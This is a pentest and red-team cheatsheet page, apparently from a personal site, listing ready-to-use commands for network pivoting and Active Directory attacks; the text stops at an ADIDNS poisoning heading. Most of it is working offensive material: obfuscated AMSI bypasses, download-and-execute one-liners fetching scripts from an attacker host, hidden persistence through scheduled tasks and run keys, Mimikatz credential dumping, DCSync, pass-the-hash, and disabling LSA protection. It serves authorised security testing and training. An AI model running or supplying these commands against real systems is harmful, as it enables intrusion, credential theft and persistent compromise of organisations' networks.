Cheatsheets

Articles with ready to use commands for pentest and CTF

Pivoting

This page will present a serie of commands to pivot through domains during Pentest and Red Team operations.

The structure of this page is highly inspired by the french article Etat de l’art du pivoting réseau en 2019 by Orange Cyberdefense : https://orangecyberdefense.com/fr/insights/blog/ethical_hacking/etat-de-lart-du-pivoting-reseau-en-2019/

This cheatsheet will present the commands described in the article, but without all the explains, only the commands and the essential informations.

SSH

Local Port Forwarding

All the request to 127.0.0.1:32000will be transfer to the machine 10.42.42.80:80 through 192.168.2.105

ssh user@ssh_server -L [bind_address:]local_port:destination_host:destination_hostport
ssh noraj@192.168.2.105 -L 127.0.0.1:32000:10.42.42.2:80 -N

Reverse Remote Port Forwarding

ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_hostport
#On our machine
sudo systemctl start sshd
sudo useradd sshpivot --no-create-home --shell /bin/false
sudo passwd sshpivot

#On the pivot machine
ssh sshpivot@192.168.2.149 -R 127.0.0.1:14000:10.42.42.2:80 -N

Dynamic Port Forwarding

ssh user@ssh_server -D [bind_address:]local_port
ssh noraj@192.168.2.105 -D 127.0.0.1:12000 -N

We can request any machines through the proxy

curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:12000

Reverse remote port forwarding + proxy SOCKS

3 tools can be used :

Proxychains is really good for client side, but not for the server part. Prefer 3proxy, particularly the standalone binary socks.

chmod u+x socks
./socks '-?'
./socks -p10080 -tstop -d
ssh sshpivot@192.168.2.149 -R 127.0.0.1:14000:127.0.0.1:10080 -N

From our machine :

curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:14000

VPN over SSH

Solution 1 (not recommended)

Let openssh create the interfaces : root is needed on both machines, risk of hackback

#On our machine
sudo ssh root@192.168.2.105 -w any:any

Solution 2 (recommended)

Manual creation and destruction.

On the pivot machine :

sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.1/30 peer 10.43.43.2 dev tun0
sudo ip link set tun0 up

sudo sysctl net.ipv4.conf.default.forwarding=1

On our machine :

sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.2/30 peer 10.43.43.1 dev tun0
sudo ip link set tun0 up

ssh noraj@192.168.2.105 -w 0:0
#-w permits to specify the interface numbers
Setup NAT on the pivot
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -o eth1 -j MASQUERADE
#Or
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -d 10.42.42.0/24 -j MASQUERADE
ARP proxy instead of NAT
sudo sysctl net.ipv4.conf.eth0.proxy_arp=1
sudo ip neigh add proxy 10.43.43.2 dev eth0
Setup the route

On our machine

sudo ip route add 10.42.42.0/24 via 10.43.43.1

Sshuttle - Transparent proxy over SSH

To forward everything to the 10.42.42.0/24 network

sshuttle -r noraj@192.168.2.105 10.42.42.0/24
#With the SSH key
sudo python3 -m sshuttle -v -r 10.10.110.100 10.42.42.0/24 --ssh-cmd 'ssh -i id_rsa'

To let sshuttle auto discovered the networks (-x to exclude a network) :

sshuttle -vNr noraj@192.168.2.105 -x 192.168.1.0/24

Netsh

Usefull in Windows / AD environement. We can contact a machine, and this one can contact another machine, but we can't directly contact the second machine from ours.

These commands have to be done on the "central" pivot machine :

#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545

Metasploit

Autoroute, proxy socks and local port forwarding

msf5 exploit(multi/handler) > back
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf5 post(multi/manage/autoroute) > set CMD add
CMD => add
msf5 post(multi/manage/autoroute) > set SUBNET 10.42.42.0
SUBNET => 10.42.42.0
msf5 post(multi/manage/autoroute) > set NETMASK /24
NETMASK => /24
msf5 post(multi/manage/autoroute) > run

There is a module for Windows to discover some networks with ARP : post/windows/gather/arp_scanner

Then :

use auxiliary/server/socks4a

Prefer socks4 instead of socks5 to limit conflicts with other tools

To use without proxychains : curl --head http://10.42.42.2 --proxy socks4a://127.0.0.1:1081

Double pivoting

We already have a pivot on a machine, and we gain access to another machine on the internal network. We want to use it in order to pivot to another network :

Ncat - Reverse remote port forwarding

Use Ncat with the broker mode to accept connections from multiple clients

ncat -lv --broker --max-conns 2

On the pivot machine :

ncat -v 192.168.2.149 31337 -c 'ncat -v 10.42.42.2 80'

Chisel

Local port forwarding

#Pivot machine
chisel server -p 8080 --host 192.168.2.105 -v
#Our machine
chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80

Local port forwarding + SOCKS proxy

#Pivot machine
chisel server -p 8080 --host 192.168.2.105 --socks5 -v
#Our machine
chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:socks

#Use
curl –head http://10.42.42.2 –proxy socks5://127.0.0.1:33333

Reverse remote port forwarding

#Our machine
chisel server -p 8888 --host 192.168.2.149 --reverse -v
#Pivot machine
chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80

Reverse remote port forwarding + proxy SOCKS (auto local port forwarding internal socks proxy)

On our machine :

chisel server -p 8888 --host 192.168.2.149 --reverse -v

Chisel can't be used as a SOCKS proxy server directly :

On the pivot machine :

chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:127.0.0.1:55555
chisel server -p 62000 --host 127.0.0.1 --socks5 -v
chisel client -v http://127.0.0.1:62000 127.0.0.1:55555:socks

To test : curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:44444

VPN Pivot - VPN Tunnel

Can be found here : https://github.com/0x36/VPNPivot

Same idea as the SSH VPN, but here we will use SSL/TLS

On our machine :

sudo pivots -i tun7 -I 10.42.42.3/24 -p 28888 -v

On the pivot machine :

sudo sysctl net.ipv4.conf.default.forwarding=1
sudo pivotc 192.168.2.149 28888 10.42.42.1

sudo iptables -t nat -A POSTROUTING -s 10.42.42.3 -o eth1 -j MASQUERADE
sudo iptables -t nat -A POSTROUTING -s 10.42.42.3 -d 10.42.42.0/24 -j MASQUERADE

The project is not maintained now

PivotSuite - multi port forwarding + proxy SOCKS

"Remote" local port forwarding

Forward directly from the pivot machine : no need of a client

pivotsuite -S -F --server-option=PF --forward-ip=10.42.42.2 --forward-port=80 --server-ip=192.168.2.105 --server-port=8080
#Or
pivotsuite -S -F --server-option=PF --remote-ip=10.42.42.2 --remote-port=80 --server-ip=192.168.2.105 --server-port=8080

“Remote” dynamic port forwarding

pivotsuite -S -F --server-option=SP --server-ip=192.168.2.105 --server-port=8080
#Client side
curl --head http://10.42.42.2 --proxy socks5://192.168.2.105:8080

Reverse dynamic port forwarding (not recommended)

On our machine :

pivotsuite -S -W --server-ip 192.168.2.149 --server-port 8090

Our server is listenning on all the interfaces, all the ports : everyone can connect to us

On the pivot machine :

pivotsuite -C -O SP --server-ip 192.168.2.149 --server-port 8090

To test : curl --head http://10.42.42.2 --proxy socks5://192.168.2.149:7684 or curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:7684

Pivoting behind a NAT

The pivot machine IP is NATed and the machine is, for example, behind a firewall : all the IN ports are closed, but all the OUT ports are open.

We will use the pivot machine as a client, and our machine as a server.

Rpivot - Reverse proxy

Can be found here : https://github.com/klsecservices/rpivot

Server on our machine, client on the pivot :

python2 server.py --server-port 9999 --server-ip 192.168.2.149 --proxy-ip 127.0.0.1 --proxy-port 21000
python2 client.py --server-ip 192.168.2.149 --server-port 9999

#And we use socks4
curl --head http://10.42.42.2 --proxy socks4://127.0.0.1:21000

In order to simplify the deployment on the pivot machine, we can use a zip archive :

zip rpivot.zip -r *.py ./ntlm_auth/
#Or
7z a -r rpivot.zip *.py ./ntlm_auth/

python2 rpivot.zip server --server-port 9999 --server-ip 192.168.2.149 --proxy-ip 127.0.0.1 --proxy-port 21000
python2 rpivot.zip client --server-ip 192.168.2.149 --server-port 9999

Tunna / Fulcrom - HTTP Tunnel

Can be found here : https://github.com/SECFORCE/Tunna

Create a pivot through a webshell with the ports 80 or 443 when they are the only allow.

Instable, not up to date, not really recommended

On the pivot :

PHP -S 192.168.2.105:8080

On our machine :

python2 reGeorgSocksProxy.py -u http://192.168.2.105:65000/tunnel.php -l 127.0.0.1 -p 7777

To bypass the socket restrictions, nosocket version :

python2 reGeorgSocksProxy.py -u http://192.168.2.105:65000/tunnel.nosocket.php -l 127.0.0.1 -p 7777

There is a fork with some improvements (passwords, Python3, etc) : https://github.com/L-codes/Neo-reGeorg

To gererate password on webshell and use it :

python3 neoreg.py generate -k pivotpassword
python3 neoreg.py -k pivotpassword -u http://192.168.2.105:65000/tunnel.js

Common tools with SOCKS

Proxychains

Modify /etc/proxychains.conf and :

proxychains curl --head http://10.42.42.2

Nmap through proxychains

To scan 65535 ports at a normal speed :

seq 1 65535 | xargs -P 50 -I port proxychains -q nmap -p port -sT -T4 10.42.42.2 -oG 10.42.42.2 --open --append-output 10.42.42.2 -Pn -n

To scan multiple machines :

seq 1 254 | xargs -P 50 -I cpt proxychains -q nmap --top-ports 20 -sT -T4 10.42.42.cpt -oG 10.42.42.0 --open --append-output 10.42.42.cpt -Pn -n

Microsoft

Different cheatsheets useful in Windows and Active Directory environment

Microsoft

Active Directory

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Misc

Bypass AMSI

#Downgrade PowerShell
powershell -v 2 -c "<...>"

#Classic
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

#Base64
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

#Force AMSI error
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

#On PowerShell 6
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Create PowerShell credentials

$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $pass)

Decipher Secure-String

With the corresponding AES key

$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted

Execution Context / AppLocker

AppLocker

#Get AppLocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

By default, C:\Windows is not blocked, and C:\Windows\Tasks is writtable by any users.

Bypass Constrained Language Mode

Import BypassCLM.exe and Mono.Options.dll in a directory where the AppLocker policy authorize the execution, then

#Get language mode
$ExecutionContext.SessionState.LanguageMode
#To bypass with PowerShell 6
pwsh

.\BypassCLM.exe -c "iex (new-object net.webclient).downloadstring('http://192.168.50.44/Invoke-HelloWorld.ps1')"

Port Forwarding

We can contact a machine, and this one can contact another machine, but we can't contact the second machine directly from our primary machine
On the "central" machine, all the hit on the port 80 or 4545 will be forward to the connectaddress on the specified port :

#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545

Domain Enumeration

Domain Objects

Current domain

#PowerView
Get-NetDomain
#AD Module
Get-ADDomain

#Domain SID
Get-DomainSID
(Get-ADDomain).DomainSID

#Domain policy
(Get-DomainPolicy)."system access"

Another Domain

#PowerView
Get-NetDomain -Domain domain.local

#AD Module
Get-ADDomain -Identity domain.local

Domain controller

Current domain

#PowerView
Get-NetDomainController
#AD Module
Get-ADDomainController

Get-NetDomainController -Domain domain.local
Get-ADDomainController -DomainName domain.local -Discover

Users enumeration

List users

#PowerView
Get-NetUser
Get-NetUser -Identity user1

#AD Module
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity user1 -Properties *

User's properties

#AD Module
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}

Search for a particular string in attributes

Find-UserField -SearchField Description -SearchTerm "password"
Get-ADUser -Filter 'Description -like "*password*"' -Properties Description | select name,Description

Actively logged users on a machine

Needs local admin rights on the target

Get-NetLoggedon -ComputerName <target>

Locally logged users on a machine

Needs remote registry on the target - started by-default on server OS

Get-LoggedonLocal -ComputerName <target>

Last logged user on a machine

Needs administrative rights and remote registry on the target

Get-LastLoggedOn -ComputerName <target>

User hunting

Find machine where the user has admin privs

Find-LocalAdminAccess -Verbose

If the RPC or SMB ports are blocked, see Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1 to use WMI or PowerShell Remoting

Find local admins on the domain machines

Invoke-EnumerateLocalAdmin -Verbose

Find machines where specific users or groups have sessions

Invoke-UserHunter #Admins
Invoke-UserHunter -GroupName "<group_target>"

Check local admin access for the current user where the targets are found

Invoke-UserHunter -CheckAccess

Computers enumeration

#PowerView
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -FullData

#AD Module
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *

Groups enumeration

Groups in the current domain

#PowerView
Get-NetGroup
Get-NetGroup -FullData

#AD Module
Get-ADGroup -Filter * | select Name 
Get-ADGroup -Filter * -Properties *

Search for a particular string in attributes

#PowerView
Get-NetGroup *admin*

#AD Module
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

All users in a specific group

#PowerView
Get-NetGroupMember -GroupName "<group>" -Recurse

#AD Module
Get-ADGroupMember -Identity "<group>" -Recursive

All groups of an user

#PowerView
Get-NetGroup -MemberIdentity "user1"

#AD Module
Get-ADPrincipalGroupMembership -Identity "user1"

Local groups enumeration

Get-NetLocalGroup -ComputerName <target> -ListGroups

Members of local groups

Get-NetLocalGroup -ComputerName <target> -Recurse

Shares / Files

Find shares on the domain

Invoke-ShareFinder -Verbose

Sensitive files on the domain

Invoke-FileFinder -Verbose
Invoke-FileFinder -Verbose -Include "*pass*"

Or with Snaffler

snaffler.exe -s - snaffler.log ... (:

#Snaffle all the computers in the domain
./Snaffler.exe -d domain.local -c <DC> -s

#Snaffle specific computers
./Snaffler.exe -n computer1,computer2 -s

#Snaffle a specific directory
./Snaffler.exe -i C:\ -s

Find all fileservers of the domain

Get-NetFileServer

GPO Enumeration

List of GPO in the domain

#PowerView
Get-NetGPO
#GPOs applied to a computer
Get-NetGPO -ComputerName <target>

#AD Module
Get-GPO -All #(GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html #(Provides RSoP)

Get GPO that modify local group via Restricted Groups

Get-NetGPOGroup

Users which are in a local group of a machine using GPOs

Find-GPOComputerAdmin -Computername <target>

Machine where an user is member of a local group using GPOs

Find-GPOLocation -Identity user1 -Verbose

Organisation Units

OUs of the domain

Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *

Computers within an OU

Get-NetComputer | ? { $_.DistinguishedName -match "OU=<OU_name>" } | select DnsHostName

GPO applied on an OU / Read GPO from the GP-Link attribut from Get-NetOU

Get-NetGPO -GPOname "{<OU_ID>}"
Get-GPO -Guid <OU_ID> #(GroupPolicy module)

ACLs

All ACLs associated to an object (inbound)

Get-ObjectAcl -Identity user1 -ResolveGUIDs
(Get-ObjectAcl | Where-Object {$_.ObjectSid -match "<object_SID>"})

Outbound ACLs of an object

These are the rights the object has in the AD

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<target>"}
Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match "user1"}

ACLs associated to a specific path

Get-PathAcl -Path "\\dc.domain.local\sysvol"

Trusts

Map trusts

Invoke-MapDomainTrust

Domain trusts for the current domain

#PowerView
Get-NetDomainTrust #Find potential external trust

#AD Module
Get-ADTrust

Forest

Details about the current forest

#PowerView
Get-NetForest
Get-NetForest -Forest domain.local

#AD Module
Get-ADForest
Get-ADForest -Identity domain.local

All domains in the current forest

#PowerView
Get-NetForestDomain
Get-NetForestDomain -Forest domain.local

#AD Module
(Get-ADForest).Domains

Global catalogs of the current forest

#PowerView
Get-NetForestCatalog
Get-NetForestCatalog -Forest domain.local

#AD Module
Get-ADForest | select -ExpandProperty GlobalCatalogs

Forest trusts

#PowerView
Get-NetForestTrust
Get-NetForestTrust -Forest domain.local

#AD Module
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

BloodHound / SharpHound

Basic usage

# Default collection
SharpHound.exe

# All collection excepted GPOLocalGroup with all string properties
SharpHound.exe --CollectionMethod All --CollectAllProperties

#Only collect from the DC, doesn't query the computers (more stealthy)
SharpHound.exe --CollectionMethod DCOnly
#Only collect user sessions and LocalGroup from computers, not the DC
SharpHound.exe --CollectionMethod ComputerOnly

Stealth usage

#Stealth collection soutions
SharpHound.exe --CollectionMethod ComputerOnly --Stealth
SharpHound.exe --ExcludeDomainControllers

#Encrypt the output archive with a random password
SharpHound.exe --EncryptZip

Loop collection

Useful for user session collection for example. SharpHound will run the collection regularly and output a new zip file after each loop.

#It will loop during 2h by default
SharpHound.exe --CollectionMethod Session --Loop

#Loop during 5h
SharpHound.exe --CollectionMethod Session --Loop --Loopduration 05:00:00

From a non domain joined computer

runas /netonly /user:CONTOSO\User1 cmd.exe
net view \\contoso\
SharpHound.exe -d contoso.local

Interesting Neo4j queries

Users with SPNs

MATCH (u:User {hasspn:true}) RETURN u

AS-REP Roastable users

MATCH (u:User {dontrepreauth:true}) RETURN u

Computers AllowedToDelegate to other computers

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p

Shortest path from Kerberoastable user

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Computers in Unconstrained Delegations

MATCH (c:Computer {unconsraineddelegation:true}) RETURN c

Rights against GPOs

MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p

Potential SQL Admins

MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p

LAPS

Machine with LAPS enabled

MATCH (c:Computer {haslaps:true}) RETURN c 

Users with read LAPS rights against "LAPS machines"

MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p

Local Privesc

PowerUp

#All checks
Invoke-AllChecks

#Get services with unquoted paths and a space in their name.
Get-UnquotedService -Verbose

#Get services where the current user can write to its binary path or change arguments to the binary
Get-ModifiableServiceFile -Verbose

#Get the services whose configuration current user can modify.
Get-ModifiableService -Verbose

#DLL Hijacking
Find-ProcessDLLHijack
Find-PathDLLHijack

Other enumeration tools

#PrivescCheck: https://github.com/itm4n/PrivescCheck
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended

.\beRoot.exe
.\winPEAS.exe
.\Seatbelt.exe -group=all -full

#Privesc: https://github.com/enjoiz/Privesc
Invoke-PrivEsc

Always Install Elevated

run msiexec /i BeaconInstaller.msi /q /n

Impersonation attacks / Potatoes

Full article here

KrbRelayUp

With RBCD

./KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount -ComputerName test$ -ComputerPassword Password123!

With ShadowCreds

./KrbRelayUp.exe full -m shadowcred --ForceShadowCred

Massive local privesc cheatsheet

PayloadAllTheThings

Escape JEA

Abuse an allowed function

#Look at allowed functions
Get-Command

#Look at the function code
(Get-Command <function>).Definition
#Or
gcm <function> -show

For example if it is possible to control the $param parameter here $ExecutionContext.InvokeCommand.ExpandString($param), it is possible to execute some code by passing this as argument : '$(powershell.exe -c "iEx (New-Object System.Net.WebClient).DownloadString(''http://attacker_IP/Invoke-HelloWorld.ps1'')")'

Function creation

If the JEA allowed to create a new function it can be abused

Invoke-Command -Session $sess -ScriptBlock {function blackwasp {iex (new-object net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}}
Invoke-Command -Session $sess -ScriptBlock {blackwasp}

With another WinrRM client

Sometimes this WinRM in Python can bypass the JEA

import winrm

s = winrm.Session('target_IP', auth=('administrator', 'password'))
r = s.run_cmd('powershell -c "IEX((New-Object System.Net.WebClient).DownloadString(\'http://attacker_IP/Invoke-HelloWorld.ps1\'))"')

print r.status_code
print r.std_out
print r.std_err

Local Persistence

SharPersist

SharPersist.exe can be used for local persistence on a workstation.

Common userland persistences:

#Convert command to execute to base64
$str = 'IEX ((new-object net.webclient).downloadstring("http://attacker_ip/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

#Via scheduled task
.\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -n "Updater" -m add -o hourly

#Via startup folder
.\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -f "UserEnvSetup" -m add

#Via registry key, first create a .exe beacon named updater.exe, then
.\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add

LAPS Persistence

To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.

Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

JEA Persistence

Allows every commands to a user on a machine.

Set-JEAPermissions -ComputerName dc -SamAccountName user1 -Verbose

Enter-PSSession -ComputerName dc -ConfigurationName microsoft.powershell64

Lateral Movement

PowerShell Remoting

From one computer to other ones

$sess = New-PSSession -ComputerName <computername>
Enter-PSSession -Session $sess

#Provide PS credentials
New-PSSession -Credential $cred

#To many computers
Invoke-Command -Credential $cred -ComputerName (Get-Content ./listServers.txt)

Execute scripts

#Script block
Invoke-Command -Scriptblock {Get-Process} -ComputerName Server01, Server02

#Script from file
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -ComputerName Server01

Execute locally loaded function to remote

Can be usefull to bypass some restricions

Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01, Server02

#With arguments
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01 -ArgumentList DumpCreds

Item copy

Copy-Item -ToSession $sess -Path <local_path> -Destination <path_on_target>

Scheduled task creation

Create a scheduled task on a remote machine, with sufficient rights

#Creation
schtasks /create /S <target>.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://<attacker_IP>/Invoke-PowerShellTcp.ps1''')'"

#Task execution
schtasks /Run /S <target>.domain.local /TN "STCheck"

Credentials gathering / Mimikatz

Dump creds

#Dump credentials on a local machine.
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

#Dump credentials on multiple remote machines.
Invoke-Mimikatz -DumpCreds -ComputerName @("Server01","Server02")

#Make a DCSync attack on all the users
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all"'

Credentials Vault & DPAPI

Credential manager blobs are stored in C:\Users\<user>\AppData\Local\Microsoft\Credentials

List with Mimikatz:

Invoke-Mimikatz -Command '"vault::list"'

To decrypt the creds, the DPAPI master encryption key must be retrieved. The key GUID can be retrieved with Mimikatz (the filed guidMasterKey is the one):

Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob>"'

The GUID can be used to retrieve the key on the DC via a RPC call by providing the full path:

Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<user_SID>\<key_GUID> /rpc"'

Now it possible to decipher the creds with the key:

Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob> /masterkey:<key>"'

Lazagne

To retrieve maximum creds

./lazagne.exe all

Bypass RunAsPPL

Check if RunAsPPL is enabled in the registry.

Look at HKLM\SYSTEM\CurrentControlSet\Control\Lsa

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

If Mimikatz can't be used, PPLKiller is an alternative

./PPLKiller.exe /installDriver
./PPLKiller.exe /disableLSAProtection
./PPLKiller.exe /uninstallDriver

Pass The Hash

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<nthash> /run:powershell.exe"'

Over Pass The Hash / Pass The Key

Generate Kerberos TGT from hashes (or AES keys)

#With Mimikat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /rc4:<nthash> /run:powershell.exe"'
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /aes256:<aes_key> /run:powershell.exe"'

#With Rubeus
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /rc4:<nthash> /ptt /opsec
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /aes256:<aes_key> /ptt /opsec

Bypass Kerberos Double Hop

By default, Kerberos doesn't permise to run a PSSession into a PSSession (or Invoke-Command into a PSSession, or whatever)

This can be bypassed with Mimikatz, by running a reverse shell in a Over-Pass-the-Hash from a PSSession

$Contents = "powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://<attacker_IP>/Invoke-HelloWorld.ps1'))"
Out-File -Encoding Ascii -InputObject $Contents -FilePath ./reverse.bat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:domain.local /ntlm:<nthash> /run:.\reverse.bat"'

In the new shell it is not possible to run an Enter-PSSession, but it is possible to create a New-PSSession and run Invoke-Command into this new session

$sess = New-PSSession <target>
Invoke-Command -ScriptBlock{whoami;hostname} -Session $sess

Invoke-Command -ScriptBlock{mkdir /tmp; iwr http://<attacker_IP>/Invoke-HelloWorld.ps1 -o /tmp/Invoke-HelloWorld.ps1; . \tmp\Invoke-HelloWorld.ps1} -Session $sess

Token Manipulation

Standard Token Impersonation

#List all tokens on the machine
Invoke-TokenManipulation -ShowAll

#List all unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate
#Token of a user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user1"

#Token of a process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500

Token impersonation via session leaking

Blog here. Basically, as long as a token is linked to a logon session (the ReferenceCount != 0), the logon session can't be closed, even if the user has logged off.
AcquireCredentialsHandle() is used with a session LUID to increase the ReferenceCount and block the session release. Then InitializeSecurityContext() and AcceptSecurityContext() are used to negotiate a new security context, and QuerySecurityContextToken() get an usable token.

#List logon session
Koh.exe list

#Monitor logon session with SID filtering
Koh.exe monitor <SID>

#Capture one token per SID found in new logon sessions
Koh.exe capture
#List captured tokens
koh list

#List group SIDs for a captured token
koh groups <LUID>

#Impersonate a captured token by specifying the session LUID
koh impersonate <LUID>

#Release all captured tokens
koh release all 

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

.\Masky.exe /ca:<CA_server_FQDN\CA_name> /template:<template_name> /output:./output.txt

ADIDNS Poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener

Wildcard attack with Powermad

